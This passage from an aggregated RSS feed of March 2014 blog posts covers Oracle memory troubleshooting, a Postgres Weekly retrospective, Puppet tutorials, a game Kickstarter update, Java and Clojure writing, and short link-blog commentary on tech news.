&lt;p&gt;Then, the V$PROCESS_MEMORY view would allow you to see a basic breakdown of that process’es memory usage – is it for SQL, PL/SQL, Java, unused (Freeable) or for “Other” reasons. You can use either the &lt;a href="https://github.com/tanelpoder/tpt-oracle/blob/master/smem.sql" target="_blank"&gt;smem.sql&lt;/a&gt; or &lt;a href="https://github.com/tanelpoder/tpt-oracle/blob/master/pmem.sql" target="_blank"&gt;pmem.sql&lt;/a&gt; scripts for this (report v$process_memory for a SID or OS PID):&lt;/p&gt;
&lt;pre&gt;SQL&amp;gt; &lt;strong&gt;@smem 198&lt;/strong&gt;
Display session 198 memory usage from v$process_memory....

       SID        PID    SERIAL# CATEGORY         ALLOCATED       USED MAX_ALLOCATED
---------- ---------- ---------- --------------- ---------- ---------- -------------
       198         43         17 Freeable           1572864          0
       198         43         17 Other              5481102                  5481102
       198         43         17 PL/SQL                2024        136          2024
       198         43         17 &lt;strong&gt;SQL&lt;/strong&gt;              &lt;strong&gt;117805736&lt;/strong&gt;  &lt;strong&gt;117717824&lt;/strong&gt;     118834536&lt;/pre&gt;
&lt;p&gt;From the above output we see that this session has allocated over 100MB of private memory for “SQL” reasons. This normally means SQL workareas, so we can break this down further by querying V$SQL_WORKAREA_ACTIVE that shows us all currently in-use cursor workareas in the instance. I’m using a script &lt;a href="https://github.com/tanelpoder/tpt-oracle/blob/master/wrka.sql" target="_blank"&gt;wrka.sql&lt;/a&gt; for convenience – and listing only my SID-s workareas:&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Thu, 27 Mar 2014 00:58:20 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/2014/03/26/oracle-memory-troubleshooting-part-4-drilling-down-into-pga-memory-usage-with-vprocess_memory_detail/</guid></item><item><title>A year's look at Postgres</title><link>/2014/03/26/A-years-look-at-Postgres/</link><description>&lt;p&gt;A couple years back I started more regularly blogging, though I&amp;rsquo;ve done this off and on before, this time I kept some regularity. A common theme started to emerge with some content on Postgres about once a month because most of what was out there was much more reference oriented. A bit after that I connected with &lt;a href="http://www.twitter.com/peterc"&gt;petercooper&lt;/a&gt;, who runs quite a few weekly email newsletters. As someone thats been interested helping give others a good reason to create content the obvious idea of &lt;a href="http://www.postgresweekly.com"&gt;Postgres Weekly&lt;/a&gt; emerged.&lt;/p&gt;
&lt;p&gt;Since then we&amp;rsquo;ve now had the newsletter running for over a year, helped surface quite a bit of content, and grown to over 5,000 subscribers. First if you&amp;rsquo;re not subscribed, then go &lt;a href="http://www.postgresweekly.com"&gt;subscribe now&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And if you need some inspiration or just want to reminisce with me&amp;hellip; here&amp;rsquo;s a look back at a few highlights over the past year:&lt;/p&gt;
&lt;h3 id="the-inagural-issue"&gt;
&lt;div&gt;
The inagural issue
&lt;/div&gt;
&lt;/h3&gt;
&lt;h4 id="postgres-the-bits-you-havent-foundhttppostgres-bitsherokuappcomutm_sourcecraigkerstiensutm_mediumblog"&gt;
&lt;div&gt;
&lt;a href="http://postgres-bits.herokuapp.com/?utm_source=craigkerstiens&amp;amp;utm_medium=blog"&gt;Postgres: The Bits You Haven&amp;rsquo;t Found&lt;/a&gt;
&lt;/div&gt;
&lt;/h4&gt;
&lt;p&gt;A slide-deck from a presentation at Heroku&amp;rsquo;s Waza conference that highlights many of the more unknown and rare features within Postgres, including &amp;lsquo;WITH&amp;rsquo;, arrays, pub/sub, and hstore.&lt;/p&gt;
&lt;h4 id="open-source-releasepostgresql-hllhttpblogaggregateknowledgecom20130204open-source-release-postgresql-hllutm_sourcecraigkerstiensutm_mediumblog"&gt;
&lt;div&gt;
&lt;a href="http://blog.aggregateknowledge.com/2013/02/04/open-source-release-postgresql-hll/?utm_source=craigkerstiens&amp;amp;utm_medium=blog"&gt;Open Source Release:postgresql-hll&lt;/a&gt;
&lt;/div&gt;
&lt;/h4&gt;
&lt;p&gt;Aggregate Knowledge released Postgres HyperLogLog, which is a new Postgres datatype hll that strikes a balance between HyperLogLog and a simple set. This data type solves the problem of calculating uniques for a given data set efficiently both in performance and storage.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The above is still one of my favorite extensions that most of the world doesn&amp;rsquo;t know about&lt;/em&gt;&lt;/p&gt;
&lt;h4 id="how-i-work-with-postgres---psql-my-postgresql-adminhttpwwwcraigkerstienscom20130213how-i-work-with-postgresutm_sourcecraigkerstiensutm_mediumbloga"&gt;
&lt;div&gt;
&lt;a href="http://www.craigkerstiens.com/2013/02/13/How-I-Work-With-Postgres/?utm_source=craigkerstiens&amp;amp;utm_medium=bloga"&gt;How I Work with Postgres - Psql, My PostgreSQL Admin&lt;/a&gt;
&lt;/div&gt;
&lt;/h4&gt;
&lt;p&gt;A common question for anyone new or even experienced with Postgres is whats the best editor out there? Most when they are asking this are asking for a GUI editor, this post highlights much of the power in the CLI &amp;lsquo;psql&amp;rsquo; editor.&lt;/p&gt;
&lt;h3 id="a-mix-of-notable-entries"&gt;
&lt;div&gt;
A mix of notable entries
&lt;/div&gt;
&lt;/h3&gt;
&lt;h4 id="issue-6httppostgresweeklycomissues6-dissecting-postgresql-cve-2013-1899httpblogblackwinghqcom201304082utm_sourcecraigkerstiensutm_mediumblog"&gt;
&lt;div&gt;
&lt;a href="http://postgresweekly.com/issues/6"&gt;Issue 6&lt;/a&gt; &lt;a href="http://blog.blackwinghq.com/2013/04/08/2/?utm_source=craigkerstiens&amp;amp;utm_medium=blog"&gt;Dissecting PostgreSQL CVE-2013-1899&lt;/a&gt;
&lt;/div&gt;
&lt;/h4&gt;
&lt;p&gt;After the heavily publicized and very serious security vulnerability was patched last week Blackwing intelligence took the chance to dig in. Read more on the details of the vulnerability such as what damage can be done and the basics of how its exploitable.&lt;/p&gt;
&lt;h4 id="issue-16httppostgresweeklycomissues16-tom-lane-explains-query-planner-videohttpwwwjustintvsfpugb419326732utm_sourcecraigkerstiensutm_mediumblog"&gt;
&lt;div&gt;
&lt;a href="http://postgresweekly.com/issues/16"&gt;Issue 16&lt;/a&gt; &lt;a href="http://www.justin.tv/sfpug/b/419326732?utm_source=craigkerstiens&amp;amp;utm_medium=blog"&gt;Tom Lane Explains Query Planner video&lt;/a&gt;
&lt;/div&gt;
&lt;/h4&gt;
&lt;p&gt;Tom Lane, one of the major contributors to Postgres and on the Postgres core team, was in San Francisco last week and gave a talk at the SF Postgres Users Group. Here&amp;rsquo;s the video from the talk where Tom explains the innards of the PostgreSQL query planner. Whether you&amp;rsquo;re a noob or a knowledgable Postgres user this is a must watch.&lt;/p&gt;
&lt;h4 id="issue-35httppostgresweeklycomissues35-top-10-psql--commands-i-usehttpwwwchesnokcomdaily20131106top-10-psql-commands-i-use"&gt;
&lt;div&gt;
&lt;a href="http://postgresweekly.com/issues/35"&gt;Issue 35&lt;/a&gt; &lt;a href="http://www.chesnok.com/daily/2013/11/06/top-10-psql-commands-i-use/"&gt;Top 10 psql ‘\’ commands I use&lt;/a&gt;
&lt;/div&gt;
&lt;/h4&gt;
&lt;p&gt;Psql is incredibly powerful, but the list of options within it can be overwhelming. Heres a straight forward list of @selenamarie’s top 10 commands.&lt;/p&gt;
&lt;h4 id="issue-38httppostgresweeklycomissues38-everyday-postgres-tuning-a-brand-new-server---the-10-minute-editionhttpwwwchesnokcomdaily20131113everyday-postgres-tuning-a-brand-new-server-the-10-minute-editionutm_sourcecraigkerstiensutm_mediumblog"&gt;
&lt;div&gt;
&lt;a href="http://postgresweekly.com/issues/38"&gt;Issue 38&lt;/a&gt; &lt;a href="http://www.chesnok.com/daily/2013/11/13/everyday-postgres-tuning-a-brand-new-server-the-10-minute-edition/?utm_source=craigkerstiens&amp;amp;utm_medium=blog"&gt;Everyday Postgres: Tuning a brand-new server - the 10 minute edition&lt;/a&gt;
&lt;/div&gt;
&lt;/h4&gt;
&lt;p&gt;After a fresh install, there are probably a few knobs you want to tweak on Postgres. If you’re new to doing this, it can be a bit overwhelming. Here’s a quick primer on tuning a brand new server to be more properly configured.&lt;/p&gt;
&lt;h3 id="and-the-latest-issuehttppostgresweeklycomissues51"&gt;
&lt;div&gt;
&lt;a href="http://postgresweekly.com/issues/51"&gt;And the latest issue&lt;/a&gt;
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Which highlights a wealth of information on &lt;a href="http://postgresweekly.com/issues/51"&gt;jsonb&lt;/a&gt;, and a bit of various knowledge touching on &lt;a href="http://hans.io/blog/2014/03/25/postgresql_cluster/index.html?utm_source=craigkerstiens&amp;amp;utm_medium=blog"&gt;cluster&lt;/a&gt;, &lt;a href="http://practiceovertheory.com/blog/2013/07/12/recursive-query-is-recursive/?utm_source=craigkerstiens&amp;amp;utm_medium=blog"&gt;recursive queries with CTEs&lt;/a&gt;, and &lt;a href="http://www.davidhampgonsalves.com/Postgres-ranges/?utm_source=craigkerstiens&amp;amp;utm_medium=blog"&gt;range types&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="in-conclusion"&gt;
&lt;div&gt;
In conclusion
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;What did you like? Any favorites I missed? What would you like to see more of? Let me know &lt;a href="http://www.twitter.com/craigkerstiens"&gt;@craigkerstiens&lt;/a&gt; or at &lt;a href="mailto:craig.kerstiens@gmail.com"&gt;craig.kerstiens at gmail.com&lt;/a&gt;&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Wed, 26 Mar 2014 22:55:56 GMT</pubDate><guid isPermaLink="true">/2014/03/26/A-years-look-at-Postgres/</guid></item><item><title>Looking forward</title><link>https://etodd.io/2014/03/26/looking-forward/</link><description>&lt;p&gt;&lt;a href="https://www.kickstarter.com/projects/et1337/lemma-first-person-parkour/posts/789801"&gt;From the Kickstarter&lt;/a&gt;, a quick status update before I talk more about Lemma:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;At the current rate, we are just minutes away from &lt;b&gt;4,200 yes votes&lt;/b&gt; on &lt;a href="http://steamcommunity.com/sharedfiles/filedetails/?id=239551444" target="_blank"&gt;Greenlight&lt;/a&gt;! 56% of the way to the top 100.&lt;/li&gt;
&lt;li&gt;A big thank you to our new backers! There are now &lt;b&gt;174&lt;/b&gt; of you lovely people (wow) and we're over 32% funded.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.rockpapershotgun.com/2014/03/25/lemma-follows-in-the-footsteps-of-bastion-mirrors-edge/" target="_blank"&gt;Rock Paper Shotgun&lt;/a&gt; covered Lemma yesterday! And with that headline, we've added Bastion to the incredibly long and disparate list of games it's been compared to.&lt;/li&gt;
&lt;li&gt;Kill Streak Media posted a &lt;a href="http://killstreakmedia.com/pre-view/lemma-first-person-parkour/" target="_blank"&gt;fairly in-depth interview&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.deathbybeta.com/2014/03/25/lemma-kickstarter-demo/" target="_blank"&gt;Death By Beta&lt;/a&gt; also ran a nice little article.&lt;/li&gt;
&lt;li&gt;In case you missed Caitlin Clark's comment earlier, Lemma was her top pick for Kickstarter games that are &lt;a href="https://www.youtube.com/watch?v=plN0QXwNo6w" target="_blank"&gt;"Worth the Wait"&lt;/a&gt;, along with several other promising-looking games!&lt;/li&gt;
&lt;li&gt;Another great "let's play" video from YouTuber &lt;a href="https://www.youtube.com/watch?v=OYncn722a5o" target="_blank"&gt;Shake4ndbake&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Okay, let's talk about future plans!&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Wed, 26 Mar 2014 19:20:47 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/03/26/looking-forward/</guid></item><item><title>Building manageable server infrastructures with Puppet: Part 1</title><link>https://manuel.kiessling.net/2014/03/26/building-manageable-server-infrastructures-with-puppet-part-1/</link><description>About  With this series I would like to provide a comprehensive hands-on tutorial that explains step-by-step how to build a centrally managed Linux server infrastructure using Puppet. Target audience  I believe that the readers who will get most out of this series are Linux systems administrators who already manage a small-sized network of server systems and wonder how they can grow the existing infrastructure – without having to grow the amount of time and effort put into managing these systems linearly with the number of new systems.</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Wed, 26 Mar 2014 17:13:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2014/03/26/building-manageable-server-infrastructures-with-puppet-part-1/</guid></item><item><title>Building manageable server infrastructures with Puppet: Part 2</title><link>https://manuel.kiessling.net/2014/03/26/building-manageable-server-infrastructures-with-puppet-part-2/</link><description>About  In Part 1 of Building manageable server infrastructures with Puppet, we have set up two virtual Linux systems, a puppetserver and a puppetclient. We reached an important first milestone: We installed and set up the Puppet server and Puppet client software on their respective machines, and we authenticated the Puppet client with the Puppet server. We are now going to use this setup to start configuring our puppetclient system through the Puppet server on the puppetserver system.</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Wed, 26 Mar 2014 16:13:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2014/03/26/building-manageable-server-infrastructures-with-puppet-part-2/</guid></item><item><title>Building manageable server infrastructures with Puppet: Part 3</title><link>https://manuel.kiessling.net/2014/03/26/building-manageable-server-infrastructures-with-puppet-part-3/</link><description>About  In Part 2 of Building manageable server infrastructures with Puppet, we started to configure our puppetclient machine by writing a first, simple manifest on the Puppet master. We are now going to look at more complex configuration setups and we’ll learn how to put our manifests into a useful structure. Modules  Keeping the managed configuration for a server infrastructure in just one file won’t scale well once this infrastructure grows beyond a handful of systems.</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Wed, 26 Mar 2014 15:13:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2014/03/26/building-manageable-server-infrastructures-with-puppet-part-3/</guid></item><item><title>Building manageable server infrastructures with Puppet: Part 4</title><link>https://manuel.kiessling.net/2014/03/26/building-manageable-server-infrastructures-with-puppet-part-4/</link><description>About  In Part 3 of Building manageable server infrastructures with Puppet, we created our first reusable real-world Puppet module, apache2. In part 4 and following, we will stop using examples and start building a fully featured infrastructure with users and rights management, Nagios monitoring, file servers, load balancers, web servers, databases, VPN, development systems et cetera. Managing user and group accounts through Puppet  At the company I work for, I use Puppet to manage the Unix user accounts of me and my coworkers on our Linux machines.</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Wed, 26 Mar 2014 14:13:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2014/03/26/building-manageable-server-infrastructures-with-puppet-part-4/</guid></item><item><title>The Search For The Next Platform</title><link>http://avc.com/2014/03/the-search-for-the-next-platform/</link><description>&lt;p&gt;Now this makes sense: Mark Zuckerberg may not necessarily believe virtual reality is the future of computing, and thus a good reason to purchase Oculus, but with the scale Facebook is operating on it would be foolish to take any risks. For a company of Facebook&amp;#8217;s size, with so much to lose should they make the wrong bet, two billion dollars really is nothing.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://avc.com/2014/03/the-search-for-the-next-platform/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 26 Mar 2014 13:56:55 GMT</pubDate><guid isPermaLink="true">http://avc.com/2014/03/the-search-for-the-next-platform/</guid></item><item><title>You Get Nothing</title><link>http://joe-steel.tumblr.com/post/80755916341/you-get-nothing</link><description>&lt;p&gt;Interesting take on why Facebook elected to buy Oculus by Joe Rosenstee of &lt;a href="http://joe-steel.tumblr.com/"&gt;Unauthoritative Pronouncements&lt;/a&gt;. I haven&amp;#8217;t fully worked out the justification for this purchase in my own mind, but I will comment on something tangentially related to this deal: as Joe pointed out in his article, and &lt;a href="https://twitter.com/LinusEdwards/status/448814418890350593"&gt;Linus Edwards as well on Twitter earlier&lt;/a&gt;, for some reason many seem to have this mistaken notion that Oculus&amp;#160;&amp;#8212;&amp;#160;or Facebook&amp;#160;&amp;#8212;&amp;#160;owes its Kickstarter backers something. Talk about entitlement issues, and an impressive ability to misunderstand the exchange Kickstarter facilitates. As backers, you provide the startup money&amp;#160;&amp;#8212;&amp;#160;that initial push to make it to market. In return, you receive whatever rewards the project owner elects to distribute based on your contribution. That exchange is the extent of your relationship with the company.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://joe-steel.tumblr.com/post/80755916341/you-get-nothing"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 26 Mar 2014 13:34:29 GMT</pubDate><guid isPermaLink="true">http://joe-steel.tumblr.com/post/80755916341/you-get-nothing</guid></item><item><title>Requiem for Days Long Past</title><link>https://zacs.site/blog/requiem-for-days-long-past.html</link><description>&lt;p&gt;It seems more and more these days, and especially over the last week or two in particular&amp;#160;&amp;#8212;&amp;#160;perhaps in conjunction with the rise of the smartwatch as a general topic of discussion&amp;#160;&amp;#8212;&amp;#160;people have begun yearning for the lifestyle of yesteryear when &lt;a href="http://shawnblanc.net/2014/03/dumb/"&gt;watches fulfilled the single, uncomplicated need of telling time&lt;/a&gt;, &lt;a href="http://bits.blogs.nytimes.com/2014/03/16/staying-home-connected-to-the-world/"&gt;running errands entailed a trip to the local grocery store&lt;/a&gt;, and &lt;a href="http://www.thenewsprint.co/blog/turns-out-you-never-have-to-leave-your-front-door"&gt;sometimes you just had to shovel through four feet of snow to get to the driveway&lt;/a&gt;. Although I can&amp;#8217;t say that I look forward to every one of those tasks every single day, there is something to be said for a lifestyle less reliant on technology.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/requiem-for-days-long-past.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 26 Mar 2014 12:58:56 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/requiem-for-days-long-past.html</guid></item><item><title>The Overprotected Kid</title><link>http://www.theatlantic.com/features/archive/2014/03/hey-parents-leave-those-kids-alone/358631/</link><description>&lt;p&gt;Thanks to Dave Pell&amp;#8217;s The Next Draft &lt;a href="http://nextdraft.com/archives/n20140320/these-kids-today/"&gt;for the original link&lt;/a&gt;, I found this article from The Atlantic a few days ago, and it&amp;#8217;s great&amp;#160;&amp;#8212;&amp;#160;really great, actually; I would even go so far as to call it exceptional. For this piece, Hanna Rosin traveled to the United Kingdom to get some first-hand experience with a novel playground concept called The Land, where rather than the sanitized, boring playsets so common especially in America, kids get to actually challenge themselves with activities I would still enjoy at nineteen years old. Using the growing popularity of this concept as a jumping-off point, she discusses an unfortunate trend of the last few decades whereby children have increasingly fewer opportunities to play and grow without the heavy-handed supervision of their parents acting as an omnipresent deterrent of anything remotely challenging or risky. Fortunately, I often had the opportunity and permission to go off on my own so long as I remained safe; unfortunately, that seems less and less the case nowadays. All in all, a fascinating article and well-worth the read if you have any interest in even tangentially-related facets of this broad subject. Seriously, I cannot recommend it highly enough.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.theatlantic.com/features/archive/2014/03/hey-parents-leave-those-kids-alone/358631/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 26 Mar 2014 12:49:48 GMT</pubDate><guid isPermaLink="true">http://www.theatlantic.com/features/archive/2014/03/hey-parents-leave-those-kids-alone/358631/</guid></item><item><title>searchcode screenshot</title><link>https://boyter.org/2014/03/searchcode-screenshot/</link><description>&lt;p&gt;Since I have been working on searchcode for a while and its getting close to being ready for release (a few weeks away at this point I predict) I thought I would post a teaser screenshot.&lt;/p&gt;
&lt;p&gt;The below shows how it looks for a sample search. The design is far cleaner then what is currently online which is a big win as the current design of searchcode is seriously ugly.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Wed, 26 Mar 2014 05:55:54 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/03/searchcode-screenshot/</guid></item><item><title>fstl</title><link>https://mattkeeter.com/projects/fstl</link><description>Very fast .stl viewer</description><author>Matt Keeter</author><pubDate>Wed, 26 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/projects/fstl</guid></item><item><title>Recent Blog Posts</title><link>https://mschaef.com/blogging-in-2013</link><description>&lt;p&gt;&lt;strong&gt;Update 2019-01-17&lt;/strong&gt;: &lt;i&gt;KSM recently redesigned their website in a way that removes the original blog. Because of this, I've taken some of what I wrote then for KSM and re-hosted it here.  Thanks are due both to &lt;a href="https://www.ksmpartners.com/"&gt;KSM Technology Partners&lt;/a&gt; for allowing me to do this and to the &lt;a href="https://archive.org/"&gt;Wayback Machine&lt;/a&gt; for retaining the content. All the links below are updated to reflect the articles' new locations.&lt;/i&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;Sorry for the radio silence, but recently I've been focusing my writing time on the &lt;a href="https://www.ksmpartners.com/blog/"&gt;KSM Techology Partners&lt;/a&gt; Blog. My writing there is still technical in nature, but it tends to be more heavily focused on the JVM. If you're interested, here are a few of what I consider to be the highlights.&lt;/p&gt;&lt;p&gt;In mid-2013, I started out writing about how to use &lt;a href="http://docs.oracle.com/javase/6/docs/api/java/lang/Runnable.html"&gt;&lt;tt&gt;Runnable&lt;/tt&gt;&lt;/a&gt; to explictly enforce &lt;a href="https://www.ksmpartners.com/2013/06/dynamic-extent-in-java/"&gt;dynamic extent&lt;/a&gt; in Java. In a nutshell, this is a way to implement &lt;a href="http://docs.oracle.com/javase/tutorial/essential/exceptions/tryResourceClose.html"&gt;try...with...resources&lt;/a&gt; in versions of Java that don't have it built in to the language.  I then used the dynamic extent technique to build a &lt;a href="http://docs.oracle.com/javase/6/docs/api/java/lang/ThreadLocal.html"&gt;&lt;tt&gt;ThreadLocal&lt;/tt&gt;&lt;/a&gt; that &lt;a href="https://www.ksmpartners.com/2013/07/thread-local-state-and-its-interaction-with-thread-pools/"&gt;plays nicely with thread pools&lt;/a&gt;. This is useful because thread pools require an understanding of which thread you're running on, which thread pooling techniques can abstract away.&lt;/p&gt;&lt;p&gt;Later in the year, I focused more on &lt;a href="http://clojure.org/"&gt;Clojure&lt;/a&gt;, starting off with a &lt;a href="https://www.ksmpartners.com/2013/08/clojure-closures-in-java/"&gt;quick bit&lt;/a&gt; on the relationship of lexical closures to Java inner classes. I also wrote about a particular kind of stack overflow exception that can happen with &lt;a href="https://www.ksmpartners.com/2014/01/clojure-lazy-seq-and-the-stackoverflowexception/"&gt;lazy sequences&lt;/a&gt;. Lazy sequences can nicely remove the need to use recursion while traversing their length, but each time two unrealized lazy sequences are combined, it adds to the recursive depth required to compute the first element. For me, this stack overflow was a difficult error to diagnose, because it seemed so counter-intuitive.&lt;/p&gt;&lt;p&gt;I'm also in the middle of a series of posts that relate the GoF command pattern to functional programming. The posts start off with Java, but will ultimately describe a Clojure implementation that compiles a stack based expression language into optimized Java bytecode. If you'd like to play with the code, &lt;a href="https://github.com/mschaef/blog-rpncalc"&gt;it's on github&lt;/a&gt;.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="/ksm/rpncalc_00"&gt;Middle School Math, Reverse Polish Notation, and Software Design&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="/ksm/rpncalc_01"&gt;RPN Calc, Part 1 - A Simple Calculator in Java and the Command Pattern&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="/ksm/rpncalc_02"&gt;RPN Calc, Part 2 - Composite Commands&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="/ksm/rpncalc_03"&gt;RPN Calc, Part 3 - Undo&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="/ksm/rpncalc_04"&gt;RPN Calc, Part 4 - A Noun for State&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="/ksm/rpncalc_05"&gt;RPN Calc, Part 5 - Eliminating the Globals&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="/ksm/rpncalc_06"&gt;RPN Calc, Part 6 - Refactoring the REPL with an Iterator&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="/ksm/rpncalc_07"&gt;RPN Calc, Part 7 - Refactoring Loops with Reduce&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="/ksm/rpncalc_08"&gt;RPN Calc Part 8 – Moving to Clojure&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="/ksm/rpncalc_09"&gt;RPN Calc Part 9 – State and Commands in Clojure&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="/ksm/rpncalc_10"&gt;RPN Calc Part 10 – Macros and the Intent of the Code&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</description><author>Mike Schaeffer</author><pubDate>Wed, 26 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mschaef.com/blogging-in-2013</guid></item><item><title>Looking for Alaska</title><link>https://apurva-shukla.me/bookshelf/looking-for-alaska/</link><description>⭐ ⭐ ⭐ ⭐ Amazing book, really explored my inner feelings. :D Recommend to everyone.</description><author>Apurva Shukla's RSS Feed</author><pubDate>Tue, 25 Mar 2014 23:54:33 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/looking-for-alaska/</guid></item><item><title>FireChat</title><link>http://bgr.com/2014/03/20/firechat-messaging-app-internet/</link><description>&lt;p&gt;FireChat is a new iOS app that purportedly allows its users to send text messages and pictures between devices without the use of both a cellular and wifi connection, at ranges up to thirty feet, using a new iOS 7 networking feature. Although these days I would rarely have any reason to use such an app, I would have loved to have this ability on an airplane, for instance, or out of the country where carriers can charge exorbitant rates. Regardless of whether I actually need it though, I can&amp;#8217;t wait to try this out.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://bgr.com/2014/03/20/firechat-messaging-app-internet/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 25 Mar 2014 17:41:59 GMT</pubDate><guid isPermaLink="true">http://bgr.com/2014/03/20/firechat-messaging-app-internet/</guid></item><item><title>Rare earths: Neither rare, nor earths</title><link>http://www.bbc.com/news/magazine-26687605</link><description>&lt;p&gt;Take a break from the tech news racket and spend some time reading something else&amp;#160;&amp;#8212;&amp;#160;this article from the BBC on rare earth elements, perhaps; very interesting.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.bbc.com/news/magazine-26687605"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 25 Mar 2014 14:00:27 GMT</pubDate><guid isPermaLink="true">http://www.bbc.com/news/magazine-26687605</guid></item><item><title>Eve: The Most Thrilling Boring Game In The Universe</title><link>http://www.polygon.com/features/2014/2/24/5419788/eve-online-thrilling-boring</link><description>&lt;p&gt;In the past, I have linked to &lt;a href="https://zacs.site/blog/the-battle-of-asakai.html"&gt;tales of grandiose exploits&lt;/a&gt; &lt;a href="https://zacs.site/blog/eve-online-wages-largest-war.html"&gt;in the world of Eve Online&lt;/a&gt;. Outside of those short articles and a few videos though, the game has remained a black box, of sorts, whose inner-workings I failed to understand. With this great article from Polygon, however, Tracey Lien gives us an in-depth and fascinating look at the mechanics, politics, and strategy behind this truly massive multilayer online role playing game, and it sounds amazing; I can&amp;#8217;t wait to give it a try.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.polygon.com/features/2014/2/24/5419788/eve-online-thrilling-boring"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 25 Mar 2014 13:16:35 GMT</pubDate><guid isPermaLink="true">http://www.polygon.com/features/2014/2/24/5419788/eve-online-thrilling-boring</guid></item><item><title>Ben Thompson on the Future of News and Newspapers</title><link>https://zacs.site/blog/ben-thompson-on-the-future-of-news-and-newspapers.html</link><description>&lt;p&gt;Over the past week, Ben Thompson has posted a three-part series discussing the business of news, how that field relates to journalism and newspapers, and&amp;#160;&amp;#8212;&amp;#160;by extension&amp;#160;&amp;#8212;&amp;#160;the future of this profession and that industry. I have been a long-time fan of Ben&amp;#8217;s work, and these three articles are truly exceptional: insightful, fascinating, and&amp;#160;&amp;#8212;&amp;#160;what&amp;#8217;s more&amp;#160;&amp;#8212;&amp;#160;remarkably timely given the current state of news organizations. If you read nothing else this week, start with &lt;a href="http://stratechery.com/2014/fivethirtyeight-end-average/"&gt;&lt;em&gt;FiveThirtyEight and the End of Average&lt;/em&gt;&lt;/a&gt;, move on to &lt;a href="http://stratechery.com/2014/stages-newspapers-decline/"&gt;&lt;em&gt;The Stages of Newspapers&amp;#8217; Decline&lt;/em&gt;&lt;/a&gt;, and finish with &lt;a href="http://stratechery.com/2014/newspapers-are-dead-long-live-journalism/"&gt;&lt;em&gt;Newspapers Are Dead; Long Live Journalism&lt;/em&gt;&lt;/a&gt;. Truly fantastic work.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/ben-thompson-on-the-future-of-news-and-newspapers.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 25 Mar 2014 11:01:59 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/ben-thompson-on-the-future-of-news-and-newspapers.html</guid></item><item><title>Ads, Sponsors and Legitimacy</title><link>http://crateofpenguins.com/blog/ads-sponsors-and-legitimacy</link><description>&lt;p&gt;I absolutely agree with Sid here: basically, he wrote the article I did in &lt;a href="https://zacs.site/blog/a-few-thoughts-on-sponsorships.html"&gt;&lt;em&gt;A Few Thoughts on Sponsorships&lt;/em&gt;&lt;/a&gt; the day before I published mine. You know what they say: great minds think alike.&lt;/p&gt;


